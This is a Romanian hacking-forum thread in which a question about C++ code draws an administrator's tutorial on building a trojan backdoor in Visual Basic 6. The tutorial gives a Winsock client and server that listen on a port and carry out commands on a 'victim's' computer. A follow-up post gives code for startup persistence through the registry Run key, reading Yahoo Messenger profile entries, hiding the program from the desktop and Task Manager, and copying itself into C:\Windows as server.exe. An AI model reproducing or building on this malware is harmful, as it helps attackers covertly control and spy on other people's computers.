www.Hacking-Romania.com
Hacking, gaby hacker team, programe hack, radmin hack, hi5 hack, hack the west, hacking romania, hacking stuff, hacking tools, 1 hack, 1st hacks, 2 hack, 2 hacks, 3 hack, 3 hacks, 3000 hack, 3004 hack, 4 hack, 4 hacks, 55 hack, 6 hack, 6 hacks, 7 hack, 7 hacks, 9 hack, 9dragons hack, a hack, adventure quest hack, aim hack, alz hack, and hacks, best hack, blue hack, bots hack, bots hacks, buy hack, cabal online hack, chaos hacks, cheat engine hack, cheat hack, cheats and hacks, cheats hacks, city hack, club hack, combo hack, conquer hacks, conquer online hack, conquer online hacks, conquer speed hack, conquiztador hack, counter strike 1.6 hack, damage hack, de hack, download hack, download hack for, dragonfable hack, dragonfable hacks, drakkarious hack, exp hack, flyff hack, free hack, free hacks, game hack, game hacks, garena exp hack, gladiatus hack, gm hack, gold hack, gunz hack, hack, hack 5, hack a pc, hack a site, hack a website, hack blog, hack conquer, hack counter strike, hack crack, hack cs, hack cs 1.6, hack dvd, hack email, hack forum, hack hunter, hack id, hack info, hack it, hack mess, hack muonline, hack net, hack password, hack passwords, hack pc, hack pdf, hack programs, hack site, hack sites, hack soft, hack software, hack team, hack the game, hack this, hack website, hack windows xp, hack world, hack xp, hacked, hacking, hacking game, hacking programs, hacking software, hacking tutorials, hacks, how hack, how to hack, icon hack, last chaos hack, last chaos hacks, life hack, lineage 2 hack, lineage 2 hacks, linux hack, lvl hack, maplestory hacks, mobile hack, multi hack 3.0, mybrute hack, naruto arena hack, naruto arena hacks, one hit kill hack, online hacks, perfect world hacks, pool hack, programe hack, resolution hack, resource hack, roll hack, royal hack, silkroad hack, source hack, speed hack, speed hacks, super hack, the west hack, warrock hack, warrock hacks, web hack, xpango hack, lockerz forum
Lista Forumurilor Pe Tematici
www.Hacking-Romania.com | Reguli | Inregistrare | Login

POZE WWW.HACKING-ROMANIA.COM

Nu sunteti logat.
Nou pe simpatie:
crazygirl pe Simpatie
Femeie
19 ani
Buzau
cauta Barbat
26 - 80 ani
www.Hacking-Romania.com / Programare / Cine stie niste coduri pt c++??????  
Autor
Mesaj Pagini: 1
laurentziu
Vizitator



Salz!Cn stie sa-mi spuna shi mie niste coduri in c++ (Visual Basic)?

pus acum 17 ani
   
948Y-H4(K3R
☻ADM!N☻

Inregistrat: acum 17 ani
Postari: 2716
Crearea unui Trojan BackDoor in Visual Basic 6


Sa incepem .

   Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

   Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

   Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

   Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

   Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

   Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

   Private Sub Form_Load()
   On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .
   Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )
   Winsock1.Listen ' Setam serverul sa astepte date de la client
   End Sub

   Serverul va trebui rulat . Apoi in client , ne conectam la server :

   Private Sub Command1_Click()
   On Error Resume Next ' La fel
   Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista
   Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .
   Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server
   Winsock1.Connect ' Conectam clientul la server
   End Sub

   In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

   Private Sub Winsock1_Connect()
   Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .
   End Sub

   In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

   Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
   Form1.Caption = "Eroare la conectare"
   End Sub

   Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

   Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
   Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista
   Winsock1.Accept requestID ' Acceptam conexiunea de la client
   End Sub

   Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

   Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

   Private Sub Command2_Click()
   On Error Resume Next
   Winsock1.SendData "notepad" ' Trimitem stringul "notepad"
   End sub

   La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

   Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
   Dim date_primite As String  ' Declaram variabila date_primite de tipul string
   Winsock1.GetData date_primite  ' Memoram datale primite in variabila date_primite .
   If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .
   Shell "notepad.exe" ' Deschidem notepad .
   End If ' Inchidem instructiunea If
   End Sub
   Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

   Mai puneti pe Form un buton si un TextBox .

   Private sub Command3_click()
   On Error Resume Next
   Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .
   End Sub

   In server vom procesa datele primite :

   Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
   Dim date_primite As String
   Dim Vector() As String ' Declaram vectorul Vector() de tip string .
   Winsock1.GetData date_primite
   Vector() = Split(date_primite,"|" ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .
   If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"
   MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.
   End If
   End Sub

   Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

   0 - sckClosed - Conexiunea e inchisa
   1 - sckOpen - Conexiunea e deschisa
   2 - sckListening - Conexiunea e in asteptare
   3 - sckConnectionPending - Conexiune in desfasurare
   4 - sckResolvingHost - In curs de rezolvare
   5 - sckResolved - Sistem gazda rezolvat
   6 - sckConnecting - Se conecteaza
   7 - sckConnected - Conectat
   8 - sckClosing - Se inchide conexiunea
   9 - sckError - Eroare

   Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

   Private Sub Command2_Click()
   If Winsock1.State <> 7 ' State-ul este 7 daca este conectat
   MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .
   Else: Winsock1.SendData "notepad"
   End If
   End Sub

   Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .

   Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .

   Sper ca ati inteles .


pus acum 17 ani
   
opreaa
SPAMMER

Inregistrat: acum 17 ani
Postari: 8
am intzeles tot ..... in afara de ce ai spus )

pus acum 17 ani
   
luyzette
Moderator

Inregistrat: acum 17 ani
Postari: 310
ne-ai putea scrie fara descrieri si cu aranjari in pag sau cer prea multe? oricum mi se pare foarte interesant deabia astept sa vad si.. urmatoarele parti

_______________________________________
[img]http://bannerbreak.com/banners/3/770/123090093633061355.gif[/img]

pus acum 17 ani
   
948Y-H4(K3R
☻ADM!N☻

Inregistrat: acum 17 ani
Postari: 2716
Cateva smecherii in Visual Basic


    Salut! Desi sunt incepator si eu in Visual Basic, m-am gandit sa scriu acest mic tutorial. Chiar daca nu este cine stie ce de el, macar incerc sa fac ceva bun pentru RST, forum pe care majoritatea vin doar sa invete (si nici macar nu au perseverenta de a invata ceva ca lumea, doar Y!Messenger si Flood sa dea J ). RST nu mai este ce a fost, nu vreau sa jignesc pe nimeni, dar asta este! Respect deosebit pentru Slick (gg man ). Inca ceva, cum o zis si dizzy, cum ca tutorialul lui nu are rost, deoarece tot ce a scris el gasesti si pe internet, parerea mea, frate, orice tutorial este binevenit si consider ca oricine are ceva de invatat din el J Sa trecem la treaba!

       Despre Registrii

    Ce sunt registrii? Registrii sunt fisiere in care se afla multe dintre setarile Windowsului si ale anumitor programe. Spre exemplu, daca dorim ca My Computer sa se afiseze pe desktop, un key din registrii ia valoare 0 (fals-adica sa nu afiseze pe desktop iconita) sau 1(true, adevarat- afiseaza pe desktop iconita).
    Si in Visual Basic exista functii de modificare a registriilor si de scriere a unor noi keyuri. Pentru a scrie in registrii in Visual Basic este necesar un modul care trebuie adaugat la program. Un modul se adauga ca in exemplul urmator (exemplul este dat pentru Visual Basic 6.0 ): Project(Alt+p) - Add Module(Alt+m) – Existing si apoi selectati modulul care vreti sa fie adaugat J Va recomand sa folositi urmatorul modul:

Code:

ftp://cbmc.ro/samples/vb6/TBRegistry.bas

Modulul este facut de un prieten foarte bun. Ok, acum poate va intrebati cum scrieti in registrii ? Ca sa va faceti o idée despre cum sunt structurati registrii si cum “arata” ei, intrati in CMD si scrieti: regedit . Sa continuam.
    Daca va uitati un pic in modulul adaugat (si aveti cat de cat habar de Visual Basic) o sa vedeti ca pentru registrii din HKEY_CLASSES_ROOT se foloseste “codul”: &H80000000 , pentru cei din HKEY_LOCAL_MACHINE se foloseste: &H80000002. In fine, va uitati pe acolo si deduceti
    Acum sa vedem un exemplu concret:

Code:

RegWrite "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "myapp", "c:\myapp.exe", &H80000002

Acest mic rand de cod, scrie la startup programul C:\myapp.exe cu numele myapp. El scrie in registrul cu adresa:

Code:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

Care este sintaxa de scriere in registrii? RegWrite “adresa registrului”, “altceva”, “altceva2”, &H8000000*. Sa consideram un alt cod care scrie in registrii un nou status la Y!Messenger (Atentie! Daca scrie in registrii noul status, asta nu inseamna ca messengerul va afisa dupa scriere acel status; pentru aceasta este nevoie de un cod mai complicat pe care nu il voi explica/prezenta in acest tutorial).

Code:

name = GetString(HKEY_CURRENT_USER, "Software\Yahoo\Pager", "Yahoo! user id")
Call SaveString(HKEY_CURRENT_USER, "Software\Yahoo\Pager\profiles\" + name + "\Custom Msgs", 1, status)

Codul acesta functioneaza doar daca aveti optiunea Remember ID&Password activate la messenger. Optiunea status (de la sfarsitului codului de mai sus) reprezinta statusul care doriti a fi scris in registrii (acesta poate fi introdus intr-un textbox sau definit inainte ca o variabila de tip string).
    Acum sa analizam un pic functia RegRead. Sa consideram urmatorul exemplu:

Code:

MsgBox RegRead("SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "Cmaudio", &H80000002)

Acest cod afiseaza Data corespunzatoare key’ului Cmaudio din locatia de mai sus. Acum sa facem alt mic cod, care afiseaza URL pentru tutoriale specifice Y! Messenger:

Code:

MsgBox RegRead("Software\Yahoo\pager\YUrl", "Tutorials", &H80000001)

Acum sa vedem care a fost ultimul status pe care l-ati avut pe Y!Messenger. Folosim umatorul cod:

Code:

MsgBox RegRead("Software\Yahoo\pager\profiles\idultaudemess\Custom Msgs\", "1", &H80000001)

Pentru incepatori este foarte de ajuns J



    Cateva Tips&Tricks

    Am sa va prezint cateva secvente de cod (utile, zic eu), care poate o sa va ajute in viata de zi cu zi J

1) Urmatorul cod face invizibil programul (sau formul, dupa caz) si el, desi ruleaza, nu este present pe desktop (doar in Task Manager si Processes):

Code:

NumeForm.Hide

2) Acest cod face invizibila aplicatia si in Task Manager (in curand o sa public un cod care o sa faca aplicatia invizibila si in Processes):

Code:

App.TaskVisible = False

3) Codul acesta multiplica aplicatia intr-o locatie specificata de dumneavoastra, in exemplu am ales C:\Windows, cu numele server.exe

Code:

FileCopy App.EXEName & ".exe", "C:\Windows\server.exe"

Cam atat pentru azi! Bafta!


pus acum 17 ani
   
luyzette
Moderator

Inregistrat: acum 17 ani
Postari: 310
e perfect

_______________________________________
[img]http://bannerbreak.com/banners/3/770/123090093633061355.gif[/img]

pus acum 16 ani
   
Yakuza
SPAMMER

Inregistrat: acum 16 ani
Postari: 13
cateva surse si exemple aici Source codes zip
si aici Source codes2 rar

Modificat de Yakuza (acum 16 ani)


_______________________________________
[img]http://img132.imageshack.us/img132/981/laserqp2gu2.gif[/img]
[img]http://img249.imageshack.us/img249/7365/13260378fg5.gif[/img]

pus acum 16 ani
   
tasos
INCEPATOR

Inregistrat: acum 16 ani
Postari: 46
de unde iau c++

_______________________________________
[url=http://www.allforums.hi2.ro]AllForums[/url]

pus acum 16 ani
   
wildchild
Moderator

Inregistrat: acum 16 ani
Postari: 223
de pe google pornesti cautarea.ai mii de site-uri

_______________________________________
decedat

pus acum 16 ani
   
Pagini: 1  

Mergi la